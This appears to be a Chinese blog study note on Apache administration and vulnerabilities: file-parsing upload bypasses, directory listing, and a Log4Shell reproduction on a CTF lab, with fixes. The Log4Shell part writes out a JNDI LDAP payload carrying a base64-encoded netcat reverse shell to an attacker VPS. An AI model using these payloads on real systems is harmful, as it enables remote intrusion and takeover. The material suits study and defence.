Apache

Apache

开启及关闭

开启: /usr/local/apache2/bin/apachectl start apacheh
关闭: /usr/local/apache2/bin/apachectl stop
重启: /usr/local/apache2/bin/apachectl restart

重启失败:

AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message

解决办法:

vi /etc/httpd/conf/httpd.conf  加入一句 ServerName localhost:80

HTTPD

虚拟web主机指的是在同一台服务器中运行多个web站点,其中每一个站点实际上并不独立占用整个服务器,因此被称为"虚拟"web主机。通过虚拟web主机服务可以充分利用服务器的硬件资源,从而大大降低网站构建及运行成本。
使用httpd服务可以非常方便地构建虚拟主机服务器,只需要运行一个httpd服务就能够同时支撑大量的web站点。
httpd服务支持的虚拟主机类型包括三种:基于域名、基于IP地址和基于端口

1、基于域名
为每个虚拟主机使用不同的域名,但是其对应的IP地址是相同的。
例如,www.aaa.com和 www.bbb.com站点的IP地址都是192.168.10.11。这是使用最为普遍的虚拟web主机类型。
2、基于IP地址
为每个虚拟主机使用不同的域名,且各自对应的IP地址也不相同。这种方式需要为服务器配备多个网络接口,因此应用并不是非常广泛。
3、基于端口
这种方式并不使用域名、IP地址来区分不同的站点内容,而是使用了不同的TCP端口号,因此用户在浏览不同的虚拟站点时需要同时指定端口号才能访问。

Apache漏洞

文件解析漏洞

​ 文件上传的前后端代码附在了漏洞的最后,读者可根据自己的情况取。实验在Docker中进行,受Apache版本影响换行符解析漏洞并未复现,其图文来自于该博客,仅作为笔记。

​ 文件上传的前后端代码如需,可在该博客自取。

多后缀解析漏洞

漏洞描述:

​ 该漏洞与用户的配置有密切的关系,严格来说属于用户配置问题。Apache文件解析漏洞涉及到一个Apache解析文件的特性。Apache默认一个文件可以有多个以点.分割的后缀,当右边的后缀名无法识别,则继续向左识别。

​ Apache HTTPD支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如,如下配置文件:

AddType text/html .html
AddLanguage zh-CN .cn

​ 其给.html后缀增加了media-type,值为text/html;给.cn后缀增加了语言,值为zh-CN。此时,如果用户请求文件index.cn.html,他将返回一个中文的html页面。

​ 以上就是Apache多后缀的特性。如果运维人员给.php后缀增加了处理器(多后缀解析漏洞的前提):

AddHandler application/x-httpd-php .php	

image-20230412204805837

​ 那么,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

漏洞验证:

​ 上传一个phpinfo.php.jpg文件来进行绕过,文件内容如下:

<?php
phpinfo();
?>

​ 因为存在apache解析漏洞,所以我们的恶意文件被成功上传,之后我们访问我们上传文件的路径:

http://127.0.0.1:8080/ApacheV/uploadfiles/phpinfo.php.jpg
image-20230412204525555

​ 可以看到我们上传的文件被成功解析为php了。

换行符解析漏洞

漏洞编号:APache HTTPD换行解析漏洞/CVE-2017-15715/AddHandler解析漏洞

漏洞描述:

​ 在 2.4.0~2.4.29 版本中存在一个解析漏洞,在解析 PHP 时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。该漏洞可以概括为apache的换行符解析漏洞,简单来说就是.php加上换行符就能被解析成php文件。

漏洞验证:

​ 首先搭建一个文件上传网站,上传的文件内容跟上面的一样,都是查看php信息,因为是php后缀,正常发包后会被拦截。

image-20230412211222221

​ 于是我们进行下面的操作,首先进行抓包,在 1.php 后面插入一个 \x0A(注意,不能是 \x0D\x0A,只能是一个 \x0A),也就是换行符的十六进制,不再拦截

image-20230412211330674

​ 访问刚才上传的 /1.php%0a,发现能够成功解析,但这个文件不是 php 后缀,说明目标存在解析漏洞

未知扩展名解析漏洞

漏洞描述:

​ 当apache遇到未知的后缀名时并不会停止解析,而会向左继续解析,比如我们传入一个文件:

phpinfo.php.aaa

<?php
phpinfo();
?>

​ 因为无法解析aaa ,于是向左解析,也就是说最终会解析文件成: phpinfo.php

漏洞验证:

​ 在本地搭建靶机,建立一个文件phpinfo.php.aaa,之后我们访问一下

image-20230412205147877

​ 可以看到即使不是php后缀,apache也给我们解析成了php后缀,需要注意的是利用该漏洞需要至少有一个php后缀。

目录遍历

漏洞描述:

​ 目录遍历(路径遍历)是由于web服务器或者web应用程序对用户输入的文件名称的安全性验证不足而导致的一种安全漏洞,使得攻击者通过利用一些特殊字符就可以绕过服务器的安全限制,访问任意的文件(可以使web根目录以外的文件),甚至执行系统命令。程序在实现上没有充分过滤用户输入的…/之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。

漏洞原理:

Apahce中httpd.conf配置错误导致

漏洞验证:

​ Apache的默认设置

image-20230413163958756

​ 存在目录遍历漏洞

image-20230413164128980

漏洞修复:

​ 在httpd.conf文件中找到 Options Indexes FollowSymLinks

​ 将其修改并重启Apache Options -Indexes +FollowSymLinks

image-20230413164435625

​ 修复后的结果

image-20230413163121278

RCE

**漏洞编号:**CVE-2021-44228

漏洞描述:

​ Apache Log4j2是一个基于Java的日志记录工具。可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。**经过分析,该组件存在Java JNDI注入漏洞,当程序将用户输入的数据进行日志,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码,漏洞利用无需特殊配置。**经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

影响范围:Apache Log4j 2.x < 2.15.0-rc2

漏洞验证:

​ 验证准备环境:

​ 公网VPS服务器,然后在上面安装JNDI注入工具JNDIExploit-1.2-SNAPSHOT.jar

​ 靶场环境:https://ctf.bugku.com/challenges/detail/id/340.html

​ dnslog平台 :https://dig.pm/

​ base64编码平台:https://www.qqxiuzi.cn/bianma/base64.htm

1、打开靶场环境

image-20230416164541775

2、先使用dnslog进行测试

${jndi:ldap://e4953331.dns.1433.eu.org.}
image-20230416160527529

​ 填在账号输入的位置即可,密码随便填

image-20230416142830104

dns平台接收如下,说明Log4j2_RC漏洞存在

image-20230416164523559

3、VPS开启ldap和http服务监听(运行JNDIExploit-1.2-SNAPSHOT.jar)

java -jar JNDIExploit-master.jar -i [自己的公网VPS地址]

image-20230416160906875

4、新开一个界面,使用nc监听本地的12345端口

image-20230416154545894

5、进行jndi注入攻击

${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/[base64加密后命令]}

直接填写base64加密的反弹shell命令 nc VPS_IP 12345 -e /bin/sh即可

如: nc X.X.X.X 1234 -e /bin/sh base64编码后的结果 : bmMgWC5YLlguWCAxMjM0IC1lIC9iaW4vc2g=

把这条注入表达式填入登陆的user框中, 密码随便填一个即可

${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/bmMgWC5YLlguWCAxMjM0IC1lIC9iaW4vc2g=}

​ 可以看到nc监听的端口是成功返回了一个会话,Log4j2_RCE漏洞复现成功,在其根目录下面成功获取flag

image-20230416164353194

image-20230416161251318

漏洞修复:

​ 官方方案

​ 1、将Log4j框架升级到2.15.0版本:

​ org/apache/loging/logj/logj-core/5.0

​ 不要用2.15.0-rc1和2.15.0-rc2

​ 临时方案

​ 1、升级JDK

​ 2、修改log4j配置

​ ①设置参数:

​ log4j2.formatMsgNoLookups=True

​ ②修改jvm参数:

​ -Dlog4j2.formatMsgNoLookups=true

​ ③系统环境变量:

​ FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true

​ ④禁止log4j2所在的服务器外连

3、使用安全产品防护:WAF、RASP

参考1 参考2 参考3 参考4 参考5 参考6 参考7 参考8

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值